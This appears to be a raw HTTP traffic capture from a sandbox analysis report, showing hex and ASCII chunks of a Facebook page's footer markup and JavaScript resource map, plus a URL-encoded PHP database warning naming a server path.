2022-09-09 16:01:51 UTC	477	IN	Data Raw: 35 32 30 75 73 65 25 32 35 32 30 6d 79 73 71 6c 69 25 32 35 32 30 6f 72 25 32 35 32 30 50 44 4f 25 32 35 32 30 69 6e 73 74 65 61 64 25 32 35 32 30 69 6e 25 32 35 32 30 25 32 35 33 43 62 25 32 35 33 45 25 32 46 77 77 77 25 32 46 77 77 77 72 6f 6f 74 25 32 46 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 25 32 46 73 65 65 6d 6f 72 65 62 74 79 25 32 46 69 6e 63 6c 75 64 65 73 25 32 46 64 61 74 61 62 61 73 65 2e 70 68 70 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 32 30 6f 6e 25 32 35 32 30 6c 69 6e 65 25 32 35 32 30 25 32 35 33 43 62 25 32 35 33 45 34 37 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 Data Ascii: 520use%2520mysqli%2520or%2520PDO%2520instead%2520in%2520%253Cb%253E%2Fwww%2Fwwwroot%2F103.136.42.153%2Fseemorebty%2Fincludes%2Fdatabase.php%253C%2Fb%253E%2520on%2520line%2520%253Cb%253E47%253C%2Fb%253E%250A%253Cbr%2520%2F%253E%250A%253Cbr%2520%2F%253E%250
2022-09-09 16:01:51 UTC	479	IN	Data Raw: 30 41 25 32 35 33 43 62 72 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 46 66 6f 6e 74 25 32 35 33 45 26 61 6d 70 3b 73 6f 75 72 63 65 3d 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 5f 6d 6f 72 65 22 20 68 72 65 66 3d 22 23 22 20 74 69 74 6c 65 3d 22 53 68 6f 77 20 6d 6f 72 65 20 6c 61 6e 67 75 61 67 65 73 22 3e 3c 69 20 63 6c 61 73 73 3d 22 69 6d 67 20 73 70 5f 41 77 67 71 7a 37 4b 34 6c 48 71 20 73 78 5f 36 30 62 36 35 30 22 3e 3c 2f 69 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 43 75 72 76 65 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 70 61 67 65 46 6f 6f 74 65 72 43 68 69 6c Data Ascii: 0A%253Cbr%253E%250A%253Cbr%253E%250A%253C%2Fb%253E%250A%253C%2Ffont%253E&source=www_list_selector_more" href="#" title="Show more languages"><i class="img sp_Awgqz7K4lHq sx_60b650"></i></a></li></ul><div id="contentCurve"></div><div id="pageFooterChil
2022-09-09 16:01:51 UTC	480	IN	Data Raw: 54 70 47 59 37 35 38 62 36 52 73 32 67 53 35 5f 47 2d 37 54 61 4b 38 62 66 73 4d 71 32 63 7a 43 79 35 44 68 59 4c 6d 5a 74 56 79 61 7a 41 4f 6d 41 6d 72 58 7a 50 6d 72 68 4d 37 64 39 4f 36 71 37 68 6c 6a 77 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 49 6e 73 74 61 67 72 61 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 22 68 6f 76 65 72 22 3e 49 6e 73 74 61 67 72 61 6d 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 75 6c 6c 65 74 69 6e 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 42 75 6c 6c 65 74 69 6e 20 4e 65 77 73 6c 65 74 74 65 72 22 3e 42 75 6c 6c 65 74 Data Ascii: TpGY758b6Rs2gS5_G-7TaK8bfsMq2czCy5DhYLmZtVyazAOmAmrXzPmrhM7d9O6q7hljw" title="Check out Instagram" target="_blank" rel="nofollow" data-lynx-mode="hover">Instagram</a></li><li><a href="https://www.bulletin.com/" title="Check out Bulletin Newsletter">Bullet
2022-09-09 16:01:51 UTC	482	IN	Data Raw: 61 6e 64 20 46 61 63 65 62 6f 6f 6b 2e 22 3e 50 72 69 76 61 63 79 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 70 6f 6c 69 63 69 65 73 2f 63 6f 6f 6b 69 65 73 2f 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 61 62 6f 75 74 20 63 6f 6f 6b 69 65 73 20 61 6e 64 20 46 61 63 65 62 6f 6f 6b 2e 22 20 64 61 74 61 2d 6e 6f 63 6f 6f 6b 69 65 73 3d 22 31 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 34 31 75 67 22 20 64 61 74 61 2d 6e 6f 63 6f 6f 6b 69 65 73 3d 22 31 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 68 65 6c 70 2f 35 36 38 31 33 37 34 39 33 33 30 32 32 31 37 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 61 62 6f 75 74 20 41 64 Data Ascii: and Facebook.">Privacy</a></li><li><a href="/policies/cookies/" title="Learn about cookies and Facebook." data-nocookies="1">Cookies</a></li><li><a class="_41ug" data-nocookies="1" href="https://www.facebook.com/help/568137493302217" title="Learn about Ad
2022-09-09 16:01:51 UTC	483	IN	Data Raw: 22 3a 22 41 54 37 42 2d 32 4b 65 48 31 67 4f 4f 56 66 4c 68 44 67 22 7d 2c 22 33 32 31 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 74 67 64 6f 62 69 45 6f 43 35 71 4f 41 59 42 6f 22 7d 2c 22 31 39 30 38 31 33 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 6d 69 47 79 70 4a 6c 33 6d 32 41 71 34 52 50 77 22 7d 2c 22 35 32 34 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 53 4c 4e 52 65 67 31 69 6a 68 33 62 5a 4f 42 77 22 7d 2c 22 32 35 32 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 34 47 4a 37 73 7a 6f 42 42 74 47 44 58 78 39 46 59 22 7d 2c 22 38 31 39 32 33 36 22 3a 7b 22 72 65 73 75 6c 74 Data Ascii: ":"AT7B-2KeH1gOOVfLhDg"},"3212":{"result":false,"hash":"AT7tgdobiEoC5qOAYBo"},"1908135":{"result":false,"hash":"AT6miGypJl3m2Aq4RPw"},"524":{"result":false,"hash":"AT6SLNReg1ijh3bZOBw"},"2526":{"result":true,"hash":"AT4GJ7szoBBtGDXx9FY"},"819236":{"result
2022-09-09 16:01:51 UTC	485	IN	Data Raw: 52 6e 6f 41 22 7d 7d 2c 22 71 65 78 44 61 74 61 22 3a 7b 22 36 34 34 22 3a 7b 22 72 22 3a 6e 75 6c 6c 7d 2c 22 36 34 37 22 3a 7b 22 72 22 3a 6e 75 6c 6c 7d 2c 22 36 34 38 22 3a 7b 22 72 22 3a 6e 75 6c 6c 7d 2c 22 36 35 31 22 3a 7b 22 72 22 3a 6e 75 6c 6c 7d 7d 7d 29 7d 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 42 6f 6f 74 6c 6f 61 64 65 72 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6d 2e 68 61 6e 64 6c 65 50 61 79 6c 6f 61 64 28 7b 22 63 6f 6e 73 69 73 74 65 6e 63 79 22 3a 7b 22 72 65 76 22 3a 31 30 30 36 31 37 33 32 30 35 7d 2c 22 72 73 72 63 4d 61 70 22 3a 7b 22 6e 65 44 6d 63 33 61 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 Data Ascii: RnoA"}},"qexData":{"644":{"r":null},"647":{"r":null},"648":{"r":null},"651":{"r":null}}})});requireLazy(["Bootloader"],function(m){m.handlePayload({"consistency":{"rev":1006173205},"rsrcMap":{"neDmc3a":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rs
2022-09-09 16:01:51 UTC	486	IN	Data Raw: 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 69 5c 2f 72 5c 2f 69 69 44 62 59 4d 43 50 74 42 33 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 45 46 31 68 57 6c 35 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 62 5c 2f 72 5c 2f 35 66 39 47 32 37 50 42 76 30 36 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 47 39 6f 69 72 76 57 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f Data Ascii: ttps:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yi\/r\/iiDbYMCPtB3.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"EF1hWl5":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yb\/r\/5f9G27PBv06.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"G9oirvW":{"type":"js","src":"https:\/
2022-09-09 16:01:51 UTC	488	IN	Data Raw: 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 67 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 68 49 4f 58 68 45 30 67 38 4b 64 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 63 68 62 39 6d 42 44 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 43 5c 2f 72 5c 2f 78 4c 30 6e 6e 43 71 49 42 64 2d 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6e 45 47 73 73 58 42 22 3a 7b 22 Data Ascii: ":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yg\/l\/0,cross\/hIOXhE0g8Kd.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"chb9mBD":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yC\/r\/xL0nnCqIBd-.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"nEGssXB":{"
2022-09-09 16:01:51 UTC	489	IN	Data Raw: 5c 2f 76 33 69 49 6d 61 34 5c 2f 79 4b 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 69 56 4d 66 56 4b 78 55 67 50 79 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 7a 68 31 38 45 63 55 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 2d 5c 2f 72 5c 2f 7a 74 68 6e 37 44 6c 6d 6a 77 59 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 57 61 6c 52 49 4f 59 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 Data Ascii: \/v3iIma4\/yK\/l\/en_US\/iVMfVKxUgPy.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"zh18EcU":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y-\/r\/zthn7DlmjwY.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"WalRIOY":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsr
2022-09-09 16:01:51 UTC	491	IN	Data Raw: 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 68 4d 36 34 5c 2f 79 5a 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 63 5a 31 58 70 6f 62 73 51 62 46 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 30 44 54 63 34 45 74 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 50 5c 2f 72 5c 2f 33 4f 55 39 76 6b 48 42 5a 2d 72 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 55 45 66 44 66 Data Ascii: "type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3ihM64\/yZ\/l\/en_US\/cZ1XpobsQbF.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"0DTc4Et":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yP\/r\/3OU9vkHBZ-r.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"UEfDf
2022-09-09 16:01:51 UTC	492	IN	Data Raw: 2e 70 68 70 5c 2f 76 33 69 41 67 47 34 5c 2f 79 6d 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 31 78 5f 41 78 51 36 68 51 56 56 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 65 6f 56 58 2b 57 55 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 31 4d 4a 34 5c 2f 79 49 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 63 48 55 73 4f 78 38 64 2d 52 56 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 59 44 2b 6d 75 6c 30 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 Data Ascii: .php\/v3iAgG4\/ym\/l\/en_US\/1x_AxQ6hQVV.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"eoVX+WU":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3i1MJ4\/yI\/l\/en_US\/cHUsOx8d-RV.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"YD+mul0":{"type":"js","src":"https:\/\/static.x
2022-09-09 16:01:51 UTC	493	IN	Data Raw: 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6a 55 62 34 5c 2f 79 69 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 36 58 4b 56 50 4a 73 63 4b 52 6c 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 2b 71 52 48 53 56 58 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 35 5c 2f 72 5c 2f 79 36 45 62 50 72 5a 72 7a 2d 35 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 30 5a 75 62 64 55 54 22 3a 7b 22 74 Data Ascii: "js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3ijUb4\/yi\/l\/en_US\/6XKVPJscKRl.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"+qRHSVX":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y5\/r\/y6EbPrZrz-5.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"0ZubdUT":{"t
2022-09-09 16:01:51 UTC	495	IN	Data Raw: 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 45 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 76 6c 6f 33 42 50 78 50 71 63 4b 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6f 31 72 78 57 31 6c 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 74 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 47 44 58 70 69 37 34 2d 59 5f 58 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 76 34 73 31 2b 33 63 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 Data Ascii: et\/rsrc.php\/v3\/yE\/l\/0,cross\/vlo3BPxPqcK.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"o1rxW1l":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yt\/l\/0,cross\/GDXpi74-Y_X.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"v4s1+3c":{"type":"css","src":"https:\/\/st
2022-09-09 16:01:51 UTC	496	IN	Data Raw: 2e 70 68 70 5c 2f 76 33 5c 2f 79 58 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 6a 6d 70 4b 4d 39 77 6f 6b 78 69 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 54 56 34 52 55 70 6a 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 69 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 32 43 64 62 64 5f 57 32 51 6f 36 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 78 59 43 53 46 64 4f 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 Data Ascii: .php\/v3\/yX\/l\/0,cross\/jmpKM9wokxi.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"TV4RUpj":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yi\/l\/0,cross\/2Cdbd_W2Qo6.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"xYCSFdO":{"type":"js","src":"https:\/\/static.xx.f
2022-09-09 16:01:51 UTC	498	IN	Data Raw: 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 31 62 6c 37 4b 35 4b 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 75 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 4b 43 35 68 38 4f 31 6d 47 5f 65 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4a 75 34 36 51 43 43 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 48 5c 2f 72 5c 2f 72 77 6e 61 7a 56 4a 73 34 39 6f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a Data Ascii: lg5Kz","nc":1},"1bl7K5K":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yu\/l\/0,cross\/KC5h8O1mG_e.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"Ju46QCC":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yH\/r\/rwnazVJs49o.js?_nc_x=Ij
2022-09-09 16:01:51 UTC	498	IN	Data Raw: 32 34 31 62 0d 0a 76 5f 33 74 69 49 41 33 66 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 47 51 61 57 7a 38 54 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 52 5c 2f 72 5c 2f 6b 41 46 56 63 62 4d 43 6e 4e 33 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4b 4a 53 71 51 36 7a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 37 33 37 34 5c 2f 79 52 5c 2f Data Ascii: 241bv_3tiIA3f.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"GQaWz8T":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yR\/r\/kAFVcbMCnN3.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"KJSqQ6z":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3i7374\/yR\/
2022-09-09 16:01:51 UTC	500	IN	Data Raw: 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 67 5c 2f 43 71 65 7a 2b 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 71 6f 38 34 5c 2f 79 37 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 71 62 6b 56 64 64 4a 54 4c 33 73 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4c 50 5c 2f 59 31 53 59 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4e 5c 2f 72 5c 2f 51 79 58 43 71 5a 2d 63 31 6c 33 2e 6a 73 3f 5f 6e 63 5f Data Ascii: 8lg5Kz","nc":1},"g\/Cqez+":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iqo84\/y7\/l\/en_US\/qbkVddJTL3s.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"LP\/Y1SY":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yN\/r\/QyXCqZ-c1l3.js?_nc_
2022-09-09 16:01:51 UTC	501	IN	Data Raw: 3a 31 7d 2c 22 71 43 69 34 2b 76 35 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 65 58 47 34 5c 2f 79 46 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 63 76 6a 39 74 34 6d 41 79 43 30 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 73 70 54 4a 48 63 53 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 74 5c 2f 72 5c 2f 63 56 55 4e 72 70 7a 46 66 78 64 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 Data Ascii: :1},"qCi4+v5":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3ieXG4\/yF\/l\/en_US\/cvj9t4mAyC0.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"spTJHcS":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yt\/r\/cVUNrpzFfxd.js?_nc_x=Ij3Wp8lg5Kz"
